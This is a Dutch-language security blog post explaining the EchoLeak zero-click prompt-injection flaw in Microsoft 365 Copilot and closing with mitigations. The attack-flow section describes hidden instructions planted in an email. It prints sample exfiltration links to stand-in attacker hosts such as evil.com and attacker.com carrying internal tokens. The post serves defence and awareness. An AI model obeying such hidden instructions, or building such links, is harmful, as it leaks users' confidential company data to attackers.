Inleiding:
Wat als uw AI-assistent niet alleen u helpt, maar ook stilletjes iemand anders helpt?
Een recente zero-click-exploit, bekend als EchoLeak, onthulde hoe Microsoft 365 Copilot gemanipuleerd kon worden om gevoelige informatie te stelen – zonder dat de gebruiker ooit op een link klikte of een e-mail opende. Microsoft 365 Copilot, de AI-tool die is ingebouwd in Microsoft Office-werkplekapplicaties zoals Word, Excel, Outlook, PowerPoint en Teams, bevatte een kritieke beveiligingsfout die volgens onderzoekers wijst op een groter risico op hacking van AI-agents.
Stel je een aanval voor die zo heimelijk is dat er geen klikken, geen downloads, geen waarschuwing voor nodig zijn – alleen een e-mail in je inbox. Dit is EchoLeak, een kritieke kwetsbaarheid in Microsoft 365 Copilot waarmee hackers gevoelige bedrijfsgegevens kunnen stelen zonder dat het slachtoffer ook maar één actie hoeft te ondernemen.
Overzicht van kwetsbaarheden:
In het geval van Microsoft 365 Copilot stelt de kwetsbaarheid een hacker in staat een aanval uit te voeren door simpelweg een e-mail naar een gebruiker te sturen, zonder dat er phishing of malware nodig is. In plaats daarvan gebruikt de exploit een reeks slimme technieken om de AI-assistent tegen zichzelf te keren.
Microsoft 365 Copilot werkt op basis van gebruikersinstructies in Office-apps om bijvoorbeeld toegang te krijgen tot documenten en suggesties te doen. Indien geïnfiltreerd door hackers, kan het worden gebruikt om gevoelige interne informatie zoals e-mails, spreadsheets en chats te stelen. De aanval omzeilt de ingebouwde beveiliging van Copilot, die ervoor zorgt dat alleen gebruikers toegang hebben tot hun eigen bestanden, waardoor bedrijfseigen, vertrouwelijke of compliance-gerelateerde gegevens mogelijk worden blootgesteld.
Deze aanval werd ontdekt door Aim Security en is de eerste gedocumenteerde zero-click-aanval op een AI-agent. Hiermee worden de onzichtbare risico's blootgelegd die schuilgaan in de AI-tools die we dagelijks gebruiken.
Eén opgestelde e-mail is voldoende. Copilot verwerkt de e-mail in stilte, volgt verborgen instructies, spit interne bestanden door en verstuurt vertrouwelijke gegevens, terwijl het de beveiligingsmaatregelen van Microsoft omzeilt, aldus de blogpost van het bedrijf.
EchoLeak maakt misbruik van Copilots vermogen om zowel vertrouwde interne gegevens (zoals e-mails, Teams-chats en OneDrive-bestanden) als niet-vertrouwde externe invoer, zoals inkomende e-mails, te verwerken. De aanval begint met een schadelijke e-mail met specifieke markdown-syntaxis, zoals "![Afbeelding alt-tekst][ref] [ref]: https://www.evil.com?param= Wanneer Copilot de e-mail automatisch op de achtergrond scant ter voorbereiding op vragen van gebruikers, wordt er een browserverzoek geactiveerd dat gevoelige gegevens, zoals chatgeschiedenissen, gebruikersgegevens of interne documenten, naar de server van een aanvaller stuurt.
Aanvalsstroom:
Van prompt tot payload: hoe aanvallers de AI-pijplijn van Copilot kapen om zonder één enkele klik gegevens te exfiltreren. Hieronder leggen we het in detail uit!
- Het maken en versturen van kwaadaardige input: De aanvaller begint met het opstellen van een schadelijke e-mail of document met een verborgen prompt-injectie-payload. Deze payload is zo ontworpen dat deze onzichtbaar of onopvallend is voor de menselijke ontvanger, maar volledig wordt geparseerd en uitgevoerd door Microsoft 365 Copilot tijdens AI-ondersteunde verwerking. Om de geïnjecteerde instructie te verbergen, gebruikt de aanvaller verschillende stealth-technieken, zoals HTML-opmerkingen.
- Copilot verwerkt de verborgen instructies: Wanneer de ontvanger de schadelijke e-mail of het document opent – of Microsoft 365 Copilot gebruikt om acties uit te voeren zoals het samenvatten van inhoud, het beantwoorden van het bericht, het opstellen van een reactie of het extraheren van taken – verwerkt en analyseert Copilot automatisch de volledige invoer. Door onvoldoende invoervalidatie en het ontbreken van promptisolatie maakt Copilot geen onderscheid tussen legitieme gebruikersinvoer en door aanvallers gecontroleerde instructies die verborgen zijn in de inhoud. In plaats daarvan behandelt het de geïnjecteerde prompts als onderdeel van de beoogde instructieset van de gebruiker. Hierdoor voert de AI de verborgen opdrachten uit. In dit stadium heeft Copilot onbewust gehandeld op basis van de instructies van de aanvaller en deze verkeerd geïnterpreteerd als onderdeel van zijn legitieme taak, waardoor de volgende fase van de aanval mogelijk is: het lekken van gevoelige interne context.
- Copilot genereert uitvoer met gevoelige context: Na het interpreteren en uitvoeren van de verborgen prompt die door de aanvaller is ingevoegd, stelt Microsoft 365 Copilot een reactie samen die gevoelige interne gegevens bevat, zoals geïnstrueerd. Deze uitvoer wordt doorgaans gepresenteerd op een manier die legitiem lijkt voor de gebruiker, maar is ontworpen om heimelijk informatie te exfiltreren. Om de exfiltratie te verbergen, wordt de AI (via de verborgen instructie) gevraagd om deze gevoelige gegevens in te sluiten in een hyperlink in markdown-formaat, bijvoorbeeld:
[Klik hier voor meer informatie](https://attacker.com/exfiltrate?token={{internal_token}})
Voor de gebruiker lijkt de link een nuttige referentie. In werkelijkheid is het een zorgvuldig geconstrueerde exfiltratiemethode, klaar om gegevens door te sturen naar de infrastructuur van de aanvaller zodra de link wordt geopend of bekeken.
- Link aanmaken naar door aanvallers gecontroleerde server: De markdown-hyperlink die Copilot genereert – onder invloed van de geïnjecteerde prompt – verwijst naar een server die door de aanvaller wordt beheerd. De link is ontworpen om gevoelige contextgegevens (die in de vorige stap zijn geëxtraheerd) rechtstreeks in de URL te integreren, meestal met behulp van queryparameters of padvariabelen, zoals: https://attacker-domain.com/leak?data={{confidential_info}} of https://exfil.attacker.net/{{internal_token}}
Deze links lijken vaak generiek of nuttig, waardoor ze minder snel argwaan wekken. Het doel van de aanvaller is ervoor te zorgen dat wanneer op de link wordt geklikt, een voorbeeld ervan wordt bekeken of deze zelfs automatisch wordt opgehaald, de interne gegevens (zoals sessietokens, documentinhoud of authenticatiemetadata) zonder zichtbare tekenen van inbreuk naar hun server worden verzonden.
- Gegevensexfiltratie geactiveerd door gebruikersactie of systeemvoorbeeld: Zodra de door Copilot gegenereerde respons met de kwaadaardige link aan het slachtoffer (of een andere interne gebruiker) is geleverd, wordt het exfiltratieproces geactiveerd door directe interactie of passieve weergave. Hierdoor ontvangt de aanvaller verzoeken met waardevolle interne informatie – zoals authenticatietokens, conversatiefragmenten of interne documentatie – zonder argwaan te wekken. Dit rondt de aanvalsketen af met een succesvolle en heimelijke data-exfiltratie.
Maatregelen ter vermindering van de gevolgen:
Om organisaties effectief te verdedigen tegen promptinjectieaanvallen in de stijl van EchoLeak in Microsoft 365 Copilot en vergelijkbare AI-gestuurde assistenten, hebben ze een gelaagde beveiligingsstrategie nodig die invoercontrole, AI-systeemontwerp en geavanceerde detectiemogelijkheden omvat.
- Snelle isolatie
Een van de meest cruciale waarborgen is het garanderen van een goede, snelle isolatie binnen AI-systemen. Dit betekent dat de AI duidelijk onderscheid moet maken tussen door de gebruiker aangeleverde content en instructies op intern/systeemniveau. Zonder deze isolatie kan elke ingevoerde invoer – zelfs als deze verborgen is met behulp van HTML of markdown – door de AI verkeerd worden geïnterpreteerd als een opdracht. Het implementeren van robuuste isolatiemechanismen kan voorkomen dat de AI ingrijpt op kwaadaardige payloads die in ogenschijnlijk onschuldige content zijn ingebed.
- Invoersanering en -validatie
Alle gebruikersinvoer die AI-systemen verwerken, moet grondig worden opgeschoond. Dit omvat het verwijderen of neutraliseren van verborgen HTML-elementen zoals , tekens met een breedte van nul, base64-gecodeerde instructies en verduisterde markdown. Het valideren van URL's en het afwijzen van niet-vertrouwde domeinen of misvormde queryparameters versterkt deze verdediging verder. Door de input te zuiveren voordat de AI deze ziet, verliezen aanvallers hun mogelijkheid om schadelijke promptinjecties binnen te smokkelen.
- Automatisch renderen van niet-vertrouwde inhoud uitschakelen
Een belangrijke factor die EchoLeak-achtige exfiltratie mogelijk maakt, is het automatisch weergeven van markdown-links en previews van afbeeldingen. Organisaties zouden deze functionaliteit moeten uitschakelen, met name voor content van onbekende of externe bronnen. Door te voorkomen dat Copilot of e-mailclients automatisch previews van links weergeven, wordt zero-click data-exfiltratie voorkomen en krijgen beveiligingssystemen meer tijd om de payload te inspecteren voordat deze actief wordt.
- Beperking van contexttoegang
Een andere belangrijke maatregel is het beperken van de contextuele gegevens waartoe Copilot of een LLM-assistent toegang heeft. Gevoelige gegevens zoals sessietokens, vertrouwelijke projectgegevens, authenticatiemetadata en interne communicatie mogen geen deel uitmaken van de invoercontext van de AI, tenzij noodzakelijk. Dit beperkt de reikwijdte van wat er gelekt kan worden, zelfs als een prompte injectie succesvol is.
- AI-uitvoerbewaking en -logging
Organisaties zouden logging en monitoring moeten implementeren voor alle door AI gegenereerde content, met name wanneer de output dynamische links, ongebruikelijke samenvattingen of gebruikersgerichte aanbevelingen bevat. Patronen zoals herhaaldelijk gebruik van markdown, de aanwezigheid van tokens in hyperlinks of prompts die overdreven "nuttig" lijken, kunnen wijzen op misbruik. Monitoring van deze output maakt vroegtijdige detectie van exfiltratiepogingen en retroactieve analyse mogelijk in geval van een inbreuk.
- Gebruikerstraining en -bewustzijn
Omdat gebruikers de eindontvangers zijn van door AI gegenereerde content, is het belangrijk om het bewustzijn over de risico's van interactie met door AI gegenereerde links of berichten te vergroten. Medewerkers moeten getraind worden om te herkennen wanneer een link of bericht "te intelligent", ongewoon specifiek of uit de context lijkt. Door gebruikers aan te moedigen verdachte content te melden – zelfs als deze is gegenereerd door een vertrouwde assistent zoals Copilot – bouw je een menselijke firewall tegen misbruik van social engineered AI.
Samen vormen deze mitigatiemaatregelen een uitgebreide verdedigingsstrategie tegen EchoLeak en overbruggen ze de kloof tussen AI-systeemontwerp, gebruikersveiligheid en realtime dreigingsdetectie. Door deze maatregelen te implementeren, kunnen organisaties veerkrachtig blijven naarmate AI-gebaseerde dreigingen zich ontwikkelen.
Referenties:
Auteur:
Nandini Seth
Adrip Mukherjee
